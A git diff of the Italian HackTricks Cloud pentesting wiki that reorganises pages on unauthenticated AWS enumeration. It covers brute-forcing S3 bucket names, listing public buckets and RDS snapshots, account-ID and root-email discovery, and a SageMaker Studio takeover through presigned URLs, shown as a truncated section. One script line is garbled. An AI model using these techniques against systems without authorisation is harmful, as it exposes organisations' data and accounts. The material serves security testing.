-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
new file mode 100644
index 000000000..4c5d2f946
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
@@ -0,0 +1,20 @@
+# AWS - MQ Enumerazione non autenticata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Porta pubblica
+
+### **RabbitMQ**
+
+Nel caso di **RabbitMQ**, per impostazione predefinita l'accesso pubblico e ssl sono abilitati. Però è necessario possedere **credentials** per accedere (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Inoltre, è possibile **accedere alla console di gestione web** se si conoscono le **credentials** in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
+
+### ActiveMQ
+
+Nel caso di **ActiveMQ**, per impostazione predefinita l'accesso pubblico e ssl sono abilitati, ma è necessario possedere **credentials** per accedere.
+
+### Template URL pubblico
+```
+https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
+ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
deleted file mode 100644
index e726bb768..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - MSK Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Porta Pubblica
-
-È possibile **esporre il broker Kafka al pubblico**, ma avrai bisogno di **credenziali**, permessi IAM o un certificato valido (a seconda del metodo di autenticazione configurato).
-
-È anche **possibile disabilitare l'autenticazione**, ma in quel caso **non è possibile esporre direttamente** la porta su Internet.
-
-### Modello di URL Pubblico
-```
-b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
-{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..6f16658e3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
@@ -0,0 +1,16 @@
+# AWS - MSK Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Porta pubblica
+
+È possibile **esporre il Kafka broker al pubblico**, ma avrai bisogno di **credentials**, permessi IAM o un certificato valido (a seconda del metodo di autenticazione configurato).
+
+È anche **possibile disabilitare l'autenticazione**, ma in questo caso **non è possibile esporre direttamente** la porta su Internet.
+
+### Modello URL pubblico
+```
+b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
+{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
index 2b7b8bba5..989b55575 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
@@ -1,22 +1,22 @@
-# AWS - RDS Enumerazione Non Autenticata
+# AWS - RDS Enumerazione non autenticata
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Per ulteriori informazioni controlla:
+Per maggiori informazioni consulta:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
-## Porta Pubblica
+## Porta pubblica
 
-È possibile fornire accesso pubblico al **database da internet**. L'attaccante avrà comunque bisogno di **conoscere il nome utente e la password,** l'accesso IAM, o un **exploit** per entrare nel database.
+È possibile concedere accesso pubblico al **database da Internet**. L'attaccante avrà comunque bisogno di **conoscere lo username and password,** di IAM access, o di un **exploit** per entrare nel database.
 
-## Snapshot RDS Pubblici
+## RDS Snapshots pubblici
 
-AWS consente di dare **accesso a chiunque per scaricare gli snapshot RDS**. Puoi elencare questi snapshot RDS pubblici molto facilmente dal tuo account:
+AWS permette di dare **accesso a chiunque per scaricare RDS snapshots**. Puoi elencare questi RDS snapshots pubblici molto facilmente dal tuo account:
 ```bash
 # Public RDS snapshots
 aws rds describe-db-snapshots --include-public
@@ -32,9 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
 ## Even if in the console appear as there are public snapshot it might be public
 ## snapshots from other accounts used by the current account
 ```
-### Modello di URL pubblico
+### Modello URL pubblico
 ```
 mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
index fe10f6c0c..0fa82ba77 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - Redshift Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### Modello di URL pubblico
 ```
 {user_provided}.<random>.<region>.redshift.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
deleted file mode 100644
index de41f0f3b..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
+++ /dev/null
@@ -1,194 +0,0 @@
-# AWS - S3 Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3 Public Buckets
-
-Un bucket è considerato **“pubblico”** se **qualunque utente può elencare i contenuti** del bucket, e **“privato”** se i contenuti del bucket possono **essere elencati o scritti solo da determinati utenti**.
-
-Le aziende potrebbero avere **permessi dei bucket mal configurati** che danno accesso sia a tutto che a chiunque sia autenticato in AWS in qualsiasi account (quindi a chiunque). Nota che, anche con tali malconfigurazioni, alcune azioni potrebbero non essere eseguibili poiché i bucket potrebbero avere le proprie liste di controllo degli accessi (ACL).
-
-**Scopri di più sulle malconfigurazioni di AWS-S3 qui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud)
-
-### Finding AWS Buckets
-
-Metodi diversi per trovare quando una pagina web utilizza AWS per memorizzare alcune risorse:
-
-#### Enumeration & OSINT:
-
-- Utilizzando il plugin per browser **wappalyzer**
-- Utilizzando burp (**spidering** il web) o navigando manualmente attraverso la pagina, tutte le **risorse** **caricate** verranno salvate nella Cronologia.
-- **Controlla le risorse** in domini come:
-
-```
-http://s3.amazonaws.com/[bucket_name]/
-http://[bucket_name].s3.amazonaws.com/
-```
-
-- Controlla i **CNAMES** poiché `resources.domain.com` potrebbe avere il CNAME `bucket.s3.amazonaws.com`
-- **[s3dns](https://github.com/olizimmermann/s3dns)** – Un server DNS leggero che identifica passivamente i bucket di archiviazione cloud (S3, GCP, Azure) analizzando il traffico DNS. Rileva i CNAME, segue le catene di risoluzione e abbina i modelli di bucket, offrendo un'alternativa silenziosa alla scoperta brute-force o basata su API. Perfetto per il riconoscimento e i flussi di lavoro OSINT.
-- Controlla [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un sito web con già **bucket aperti scoperti**.
-- Il **nome del bucket** e il **nome di dominio del bucket** devono essere **gli stessi.**
-- **flaws.cloud** si trova in **IP** 52.92.181.107 e se ci vai ti reindirizza a [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Inoltre, `dig -x 52.92.181.107` restituisce `s3-website-us-west-2.amazonaws.com`.
-- Per controllare se è un bucket puoi anche **visitare** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
-
-#### Brute-Force
-
-Puoi trovare bucket **forzando i nomi** relativi all'azienda che stai testando:
-
-- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
-- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
-- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contiene un elenco con potenziali nomi di bucket)
-- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
-- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
-- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
-- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
-- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
-- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
-
-<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Generate a wordlist based on the domains and subdomains to test
-## Write those domains and subdomains in subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Create permutations based in a list with the domains and subdomains to attack
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-<strong>### Remove lines ending with "."
-</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Generate the final wordlist
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Call s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-</code></pre>
-
-#### Loot S3 Buckets
-
-Date le S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) può automaticamente **cercare informazioni interessanti**.
-
-### Find the Region
-
-Puoi trovare tutte le regioni supportate da AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
-
-#### By DNS
-
-Puoi ottenere la regione di un bucket con un **`dig`** e **`nslookup`** facendo una **richiesta DNS dell'IP scoperto**:
-```bash
-dig flaws.cloud
-;; ANSWER SECTION:
-flaws.cloud.    5    IN    A    52.218.192.11
-
-nslookup 52.218.192.11
-Non-authoritative answer:
-11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
-```
-Controlla che il dominio risolto contenga la parola "website".\
-Puoi accedere al sito web statico andando su: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
-oppure puoi accedere al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
-
-
-
-#### Provando
-
-Se provi ad accedere a un bucket, ma nel **nome del dominio specifichi un'altra regione** (ad esempio il bucket è in `bucket.s3.amazonaws.com` ma provi ad accedere a `bucket.s3-website-us-west-2.amazonaws.com`, allora ti verrà **indicato il luogo corretto**:
-
-![](<../../../images/image (106).png>)
-
-### Enumerare il bucket
-
-Per testare l'apertura del bucket, un utente può semplicemente inserire l'URL nel proprio browser web. Un bucket privato risponderà con "Access Denied". Un bucket pubblico elencherà i primi 1.000 oggetti che sono stati memorizzati.
-
-Aperto a tutti:
-
-![](<../../../images/image (201).png>)
-
-Privato:
-
-![](<../../../images/image (83).png>)
-
-Puoi anche controllare questo con il cli:
-```bash
-#Use --no-sign-request for check Everyones permissions
-#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
-#--recursive if you want list recursivelyls
-#Opcionally you can select the region if you now it
-aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
-```
-Se il bucket non ha un nome di dominio, quando si tenta di enumerarlo, **inserire solo il nome del bucket** e non l'intero dominio AWSs3. Esempio: `s3://<BUCKETNAME>`
-
-### Modello di URL pubblico
-```
-https://{user_provided}.s3.amazonaws.com
-```
-### Ottieni l'ID dell'account da un Bucket pubblico
-
-È possibile determinare un account AWS sfruttando il nuovo **`S3:ResourceAccount`** **Policy Condition Key**. Questa condizione **limita l'accesso in base al bucket S3** in cui si trova un account (altre politiche basate su account limitano in base all'account in cui si trova il principale richiedente).\
-E poiché la politica può contenere **caratteri jolly**, è possibile trovare il numero dell'account **solo un numero alla volta**.
-
-Questo strumento automatizza il processo:
-```bash
-# Installation
-pipx install s3-account-search
-pip install s3-account-search
-# With a bucket
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
-# With an object
-s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
-```
-Questa tecnica funziona anche con gli URL di API Gateway, gli URL di Lambda, i set di dati di Data Exchange e persino per ottenere il valore delle etichette (se conosci la chiave dell'etichetta). Puoi trovare ulteriori informazioni nella [**ricerca originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa sfruttamento.
-
-### Confermare che un bucket appartiene a un account AWS
-
-Come spiegato in [**questo post del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se hai i permessi per elencare un bucket** è possibile confermare un accountID a cui appartiene il bucket inviando una richiesta come:
-```bash
-curl -X GET "[bucketname].amazonaws.com/" \
--H "x-amz-expected-bucket-owner: [correct-account-id]"
-
-<?xml version="1.0" encoding="UTF-8"?>
-<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
-```
-Se l'errore è "Access Denied" significa che l'ID dell'account era errato.
-
-### Utilizzo delle email come enumerazione dell'account root
-
-Come spiegato in [**questo post del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), è possibile verificare se un indirizzo email è associato a un account AWS **cercando di concedere permessi a un'email** su un bucket S3 tramite ACL. Se questo non genera un errore, significa che l'email è un utente root di qualche account AWS:
-```python
-s3_client.put_bucket_acl(
-Bucket=bucket_name,
-AccessControlPolicy={
-'Grants': [
-{
-'Grantee': {
-'EmailAddress': 'some@emailtotest.com',
-'Type': 'AmazonCustomerByEmail',
-},
-'Permission': 'READ'
-},
-],
-'Owner': {
-'DisplayName': 'Whatever',
-'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
-}
-}
-)
-```
-## Riferimenti
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
new file mode 100644
index 000000000..f8a8dcfa4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
@@ -0,0 +1,194 @@
+# AWS - S3 Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3 - Buckets pubblici
+
+Un bucket è considerato **“public”** se **qualunque utente può elencare il contenuto** del bucket, e **“private”** se il contenuto del bucket può **essere elencato o scritto solo da determinati utenti**.
+
+Le aziende potrebbero avere **permessi del bucket mal configurati** concedendo accesso oppure a tutto o a chiunque autenticato in AWS in qualsiasi account (quindi a chiunque). Nota che, anche con tali configurazioni errate, alcune azioni potrebbero non essere eseguibili perché i bucket possono avere le proprie ACL (access control list).
+
+**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
+
+### Trovare i bucket AWS
+
+Diversi metodi per scoprire quando una pagina web usa AWS per conservare alcune risorse:
+
+#### Enumeration & OSINT:
+
+- Utilizzare il plugin browser **wappalyzer**
+- Usare burp (**spidering** del sito) o navigando manualmente nella pagina tutte le **risorse** **caricate** saranno salvate nella History.
+- **Controllare le risorse** in domini come:
+
+```
+http://s3.amazonaws.com/[bucket_name]/
+http://[bucket_name].s3.amazonaws.com/
+```
+
+- Controllare i **CNAME** poiché `resources.domain.com` potrebbe avere il CNAME `bucket.s3.amazonaws.com`
+- **[s3dns](https://github.com/olizimmermann/s3dns)** – Un DNS server leggero che identifica passivamente cloud storage buckets (S3, GCP, Azure) analizzando il traffico DNS. Rileva CNAME, segue catene di risoluzione e rileva pattern di bucket, offrendo un'alternativa silenziosa al brute-force o alla scoperta tramite API. Perfetto per workflow di recon e OSINT.
+- Controllare [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un sito con bucket aperti già **scoperti**.
+- Il **nome del bucket** e il **nome del dominio del bucket** devono essere **uguali.**
+- **flaws.cloud** è su **IP** 52.92.181.107 e se ci vai ti reindirizza a [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Inoltre, `dig -x 52.92.181.107` restituisce `s3-website-us-west-2.amazonaws.com`.
+- Per verificare che sia un bucket puoi anche **visitare** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
+
+#### Brute-Force
+
+Puoi trovare bucket effettuando **brute-force sui nomi** correlati all'azienda che stai pentestando:
+
+- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
+- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
+- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contiene una lista con possibili nomi di bucket)
+- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
+- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
+- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
+- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
+- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
+- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
+
+<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+<strong>### Remove lines ending with "."
+</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+</code></pre>
+
+#### Loot S3 Buckets
+
+Dato un bucket S3 aperto, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) può automaticamente **cercare informazioni interessanti**.
+
+### Trovare la Region
+
+Puoi trovare tutte le region supportate da AWS su [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
+
+#### By DNS
+
+Puoi ottenere la region di un bucket con un **`dig`** e **`nslookup`** facendo una richiesta DNS sull'IP scoperto:
+```bash
+dig flaws.cloud
+;; ANSWER SECTION:
+flaws.cloud.    5    IN    A    52.218.192.11
+
+nslookup 52.218.192.11
+Non-authoritative answer:
+11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
+```
+Verifica che il dominio risolto abbia la parola "website".\
+Puoi accedere allo static website andando su: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+oppure puoi accedere al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.com`
+
+
+
+#### Provando
+
+Se provi ad accedere a un bucket, ma nel **nome di dominio specifichi un'altra regione** (per esempio il bucket è in `bucket.s3.amazonaws.com` ma provi ad accedere a `bucket.s3-website-us-west-2.amazonaws.com`), allora ti verrà **indicato il luogo corretto**:
+
+![](<../../../images/image (106).png>)
+
+### Enumerating the bucket
+
+Per testare l'apertura del bucket un utente può semplicemente inserire l'URL nel proprio web browser. Un bucket privato risponderà con "Access Denied". Un bucket pubblico elencherà i primi 1.000 oggetti che sono stati memorizzati.
+
+Open to everyone:
+
+![](<../../../images/image (201).png>)
+
+Private:
+
+![](<../../../images/image (83).png>)
+
+Puoi anche verificarlo usando la cli:
+```bash
+#Use --no-sign-request for check Everyones permissions
+#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
+#--recursive if you want list recursivelyls
+#Opcionally you can select the region if you now it
+aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
+```
+Se il bucket non ha un nome di dominio, quando si tenta di enumerarlo, **inserire solo il nome del bucket** e non l'intero dominio AWSs3. Esempio: `s3://<BUCKETNAME>`
+
+### Modello di URL pubblico
+```
+https://{user_provided}.s3.amazonaws.com
+```
+### Ottieni l'ID account da un Bucket pubblico
+
+È possibile determinare un account AWS sfruttando la nuova **`S3:ResourceAccount`** **chiave di condizione della policy**. Questa condizione **limita l'accesso in base al bucket S3** in cui è presente un account (altre policy basate sull'account limitano in base all'account in cui si trova il principal che effettua la richiesta).\  
+E poiché la policy può contenere **wildcards**, è possibile trovare il numero dell'account **una cifra alla volta**.
+
+Questo tool automatizza il processo:
+```bash
+# Installation
+pipx install s3-account-search
+pip install s3-account-search
+# With a bucket
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
+# With an object
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
+```
+Questa tecnica funziona anche con API Gateway URLs, Lambda URLs, Data Exchange data sets e persino per ottenere il valore dei tags (se conosci la tag key). Puoi trovare più informazioni nella [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questo sfruttamento.
+
+### Confermare che un bucket appartiene a un account AWS
+
+Come spiegato in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, se hai i permessi per elencare il contenuto di un bucket** è possibile confermare l'accountID a cui il bucket appartiene inviando una richiesta come:
+```bash
+curl -X GET "[bucketname].amazonaws.com/" \
+-H "x-amz-expected-bucket-owner: [correct-account-id]"
+
+<?xml version="1.0" encoding="UTF-8"?>
+<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
+```
+Se l'errore è “Access Denied” significa che l'ID dell'account era sbagliato.
+
+### Email usate per root account enumeration
+
+Come spiegato in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), è possibile verificare se un indirizzo email è collegato a un account AWS provando a **concedere permessi a un'email** su un S3 bucket tramite ACLs. Se questo non genera un errore, significa che l'email è un root user di qualche account AWS:
+```python
+s3_client.put_bucket_acl(
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
+)
+```
+## Riferimenti
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
new file mode 100644
index 000000000..03435299d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -0,0 +1,108 @@
+# AWS - SageMaker Unauthorized Access
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
+
+### Descrizione
+Un'entità con il permesso di chiamare `sagemaker:CreatePresignedDomainUrl` su un target Studio `UserProfile` può generare un URL di login che autentica direttamente in SageMaker Studio come quel profilo. Questo concede al browser dell'attaccante una sessione Studio che eredita i permessi del `ExecutionRole` del profilo e l'accesso completo alla home e alle app del profilo su EFS. Non è richiesto `iam:PassRole` né l'accesso alla console.
+
+### Requisiti
+- Un SageMaker Studio `Domain` e un `UserProfile` di destinazione al suo interno.
+- Il principal attaccante necessita del permesso `sagemaker:CreatePresignedDomainUrl` sul `UserProfile` target (a livello di risorsa) o `*`.
+
+Esempio di policy minimale (limitata a un unico UserProfile):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
+}
+]
+}
+```
+### Passaggi per l'abuso
+
+1) Enumerate a Studio Domain and UserProfiles you can target
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
